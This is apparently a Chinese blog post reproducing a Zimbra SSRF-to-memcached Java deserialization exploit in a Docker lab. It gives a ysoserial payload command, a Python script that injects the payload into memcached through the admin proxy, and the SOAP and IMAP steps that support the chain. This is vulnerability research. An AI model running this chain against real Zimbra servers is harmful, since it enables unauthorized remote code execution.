Zimbra SSRF+Memcached+反序列化漏洞利用復現

前言

之前懶了一下,沒復現memcached反序列化的部分。

在看本文之前請先看完上一篇復現:
https://blog.csdn.net/fnmsd/article/details/88657083

本篇復現基於8.7.11進行復現,就是官網上直接下的。

純技術研究,請勿使用在非法用途。

環境搭建

直接用docker,https://hub.docker.com/r/jorgedlcruz/zimbra

docker pull jorgedlcruz/zimbra
docker run -p 25:25 -p 80:80 -p 465:465 -p 587:587 -p 110:110 -p 143:143 -p 993:993 -p 995:995 -p 443:443 -p 8080:8080 -p 8443:8443 -p 7071:7071 -p 9071:9071 -h zimbra-docker.zimbra.io --dns 127.0.0.1 --dns 8.8.8.8 -i -t -e PASSWORD=Zimbra2017 jorgedlcruz/zimbra

如果過程失敗就在啓動完的終端裏執行一次

cd /opt/zimbra-install/zcs-* && ./install.sh -s < /opt/zimbra-install/installZimbra-keystrokes

,基本都是網絡問題,重執行幾次就好了。如果安裝出了問題需要手工執行如下命令:

/opt/zimbra/libexec/zmsetup.pl -c /opt/zimbra-install/installZimbraScript
su - zimbra -c 'zmcontrol restart'

具體安裝過程看docker中的/opt/start.sh

題外話:其實端口不映射出來也沒問題,直接訪問相應的docker ip就好(172.17.0.2之類的)

獲取普通用戶

由於memcached的反序列化與郵箱賬戶有關,此處我們需要一個普通的郵箱。

方法一:通過Admin接口創建用戶

依然是通過Proxy走admin soap接口,name需要是個郵箱地址,password6位以上

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
           <authToken>***ADMIN_AUTH_TOKEN***</authToken>
       </context>
   </soap:Header>
   <soap:Body>
     
        <CreateAccountRequest name="[email protected]" password="test12345" xmlns="urn:zimbraAdmin"> 
    </CreateAccountRequest>
   </soap:Body>
</soap:Envelope>

在這裏插入圖片描述

方法二:通過爆破獲取

由於Proxy的代碼邏輯問題,導致普通賬號的Token也可訪問Proxy,所以也可以用爆破或者其它方法獲取賬戶。

使用普通賬戶登陸 AuthRequest的account by設置爲name即可,詳細說明看《A Saga of Code Executions on Zimbra>

後面需要用到id,爆破賬號的ID可以在web頁面登陸後的源碼中獲取:

在這裏插入圖片描述

SSRF to Memcached 反序列化

題外話:其實Zimbra的memcached默認是開在0.0.0.0上的,似乎是從memcached反射放大ddos開始Zimbra官方建議開到127.0.0.1.

在單機模式下,Imap的zimbraMemcachedClientServerList默認爲空,無法使用ImapSession的反序列化,所以需要自己命令行設置下:

su - zimbra
zmprov ms `zmhostname` zimbraMemcachedClientServerList 127.0.0.1
zmcontrol restart #記得重啓,其實應該可以直接reload的

具體代碼點這

在這裏插入圖片描述
然後要拼memcached的Key,此處直接盜圖:
在這裏插入圖片描述
cacheKey的規則如下:

zmImap:<accountId>:<folderNo>:<modseq>:<uidvalidity>

accountId就是上面添加用戶返回的ID,也可以通過登陸zimbra首頁獲取,可能還有別的方法,此處不深究。
folderNo就保持2就好了,代表inbox
modseq和uidvalidity可以通過登陸imap獲取,有關imap的協議請看這,獲取完記得退出。盜圖again:
在這裏插入圖片描述
下面生成payload,需要更新ysoserial並重新打包

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar  MozillaRhino2 "/bin/touch /tmp/test12345" > wakaka.obj

一個簡單的請求腳本:

import requests
accountid = "1800dbfe-a197-4d73-bab5-87397a4757e1"
folderNo= 2
modseq = 12
uidvalidity = 1
cacheKey ="zmImap:{accountId}:{folderNo}:{modseq}:{uidvalidity}".format(accountId=accountid,folderNo=str(folderNo),modseq=str(modseq),uidvalidity=str(uidvalidity))
print(cacheKey)
with open(r"wakaka.obj","rb") as f:
    payload = f.read()

set_command = b"set {cacheKey} 2048 3600 {payloadsize}\r\n".format(cacheKey=cacheKey,payloadsize=str(len(payload)))+payload+"\r\n"

headers = {
    "Cookie":"ZM_ADMIN_AUTH_TOKEN=token~~;",
    "host":"foo:7071"
}
r = requests.post("https://127.0.0.1/service/proxy?target=http://127.0.0.1:11211",data=set_command,headers=headers,verify=False)

等幾秒就可以Ctrl+C了。

imap的log看/opt/zimbra/log/mailbox.log

再次imap登陸同一賬號並select inbox

查看/tmp目錄

在這裏插入圖片描述
成功執行了命令

一點思考:

在有zimbra管理賬號的情況下:

  1. 是否可以上傳上傳用插件或者其他自編寫惡意插件?
  2. 是否可以用soap API去設置zimbraMemcachedClientServerList並重新加載memcached設置?(ZimbraAdmin API中有ReloadMemcachedClientConfig這麼個東西)

在有隻有普通賬號的情況:

  1. 能不能繞過proxy對請求頭的過濾,達到一個任意內網訪問代理的功能?

這些就哪天不懶的時候再說了:-D

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章